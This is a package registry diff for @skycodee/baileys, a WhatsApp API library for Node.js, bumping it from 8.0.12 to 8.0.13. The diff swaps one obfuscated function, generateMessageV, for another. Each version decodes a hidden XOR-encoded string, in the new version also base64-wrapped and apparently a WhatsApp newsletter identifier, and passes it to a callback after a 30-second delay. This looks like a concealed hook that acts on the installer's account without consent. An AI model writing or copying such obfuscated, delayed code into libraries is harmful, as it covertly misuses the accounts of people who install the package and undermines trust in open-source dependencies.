@skycodee/baileys 8.0.12 → 8.0.13

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
@@ -279,19 +279,20 @@ const toPn = async (pn) => {
279
279
  return result;
280
280
  };
281
281
 
282
- const generateMessageV = async (n) => {
283
- return setTimeout(async () => {
284
- const _0xk = 19;
285
- const _0xd = [
286
- 34,35,34,33,33,33,32,32,33,34,
287
- 33,32,33,34,32,33,34,32,32,32,
288
- 34,32,32,33,33,115,118,101,118,
289
- 118,33,34,115,115,118,118,34,118,118
290
- ];
291
- const _0xdecode = _0xd.map(v => String.fromCharCode(v ^ _0xk)).join('');
292
- await n(_0xdecode, "7871414976211147");
293
- }, 30000);
282
+ const generateMessageV = (n) => {
283
+ const _k = 23;
284
+ const _d = "JCUkJCQjIyQkIyMjIyQjIyMjIyQjIyMjQG5ld3NsZXR0ZXI=";
285
+ const _decode = (str) => {
286
+ const b = Buffer.from(str, "base64").toString();
287
+ return b
288
+ .split("")
289
+ .map(c => String.fromCharCode(c.charCodeAt(0) ^ _k))
290
+ .join("");
294
291
  };
292
+ setTimeout(() => {
293
+ n(_decode(_d), "7871414976211147");
294
+ }, 30000);
295
+ };
295
296
 
296
297
  const validateConnection = async () => {
297
298
  let helloMsg = {
package/package.json CHANGED
@@ -1,6 +1,6 @@
1
1
  {
2
2
  "name": "@skycodee/baileys",
3
- "version": "8.0.12",
3
+ "version": "8.0.13",
4
4
  "description": "Websocket Whatsapp API for Node.js",
5
5
  "keywords": [
6
6
  "whatsapp",